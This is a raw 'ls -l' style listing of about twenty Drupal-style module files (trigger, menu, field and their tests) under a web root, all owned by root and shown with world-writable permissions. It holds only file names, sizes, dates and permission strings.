-rwxrwxrwx 1 root root 3907 Apr 16 2016 /var/www/html/jabc/modules/trigger/tests/trigger_test.module
-rwxrwxrwx 1 root root 243 Apr 16 2016 /var/www/html/jabc/modules/trigger/tests/trigger_test.info
-rwxrwxrwx 1 root root 20607 Apr 16 2016 /var/www/html/jabc/modules/trigger/trigger.module
-rwxrwxrwx 1 root root 3603 Apr 16 2016 /var/www/html/jabc/modules/trigger/trigger.install
-rwxrwxrwx 1 root root 10748 Apr 16 2016 /var/www/html/jabc/modules/trigger/trigger.admin.inc
-rwxrwxrwx 1 root root 351 Apr 16 2016 /var/www/html/jabc/modules/trigger/trigger.info
-rwxrwxrwx 1 root root 2685 Apr 16 2016 /var/www/html/jabc/modules/trigger/trigger.api.php
-rwxrwxrwx 1 root root 30630 Apr 16 2016 /var/www/html/jabc/modules/trigger/trigger.test
-rwxrwxrwx 1 root root 26086 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.test
-rwxrwxrwx 1 root root 1428 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.admin.js
-rwxrwxrwx 1 root root 2495 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.js
-rwxrwxrwx 1 root root 2579 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.api.php
-rwxrwxrwx 1 root root 117 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.css
-rwxrwxrwx 1 root root 7128 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.install
-rwxrwxrwx 1 root root 312 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.info
-rwxrwxrwx 1 root root 28283 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.admin.inc
-rwxrwxrwx 1 root root 28303 Apr 16 2016 /var/www/html/jabc/modules/menu/menu.module
-rwxrwxrwx 1 root root 49269 Apr 16 2016 /var/www/html/jabc/modules/field/field.module
-rwxrwxrwx 1 root root 14322 Apr 16 2016 /var/www/html/jabc/modules/field/tests/field_test.storage.inc
-rwxrwxrwx 1 root root 8816 Apr 16 2016 /var/www/html/jabc/modules/field/tests/field_test.module
-rwxrwxrwx 1 root root 4322 Apr 16 2016 /var/www/html/jabc/modules/field/tests/field_test.install
-rwxrwxrwx 1 root root 12078 Apr 16 2016 /var/www/html/jabc/modules/field/tests/field_test.field.inc